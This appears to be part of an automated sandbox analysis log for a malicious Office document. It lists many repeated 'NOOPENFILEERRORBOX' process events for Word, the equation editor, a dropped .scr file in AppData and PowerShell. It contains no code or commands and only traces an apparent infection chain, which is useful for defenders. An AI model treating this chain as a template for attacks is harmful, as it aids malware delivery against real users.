Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
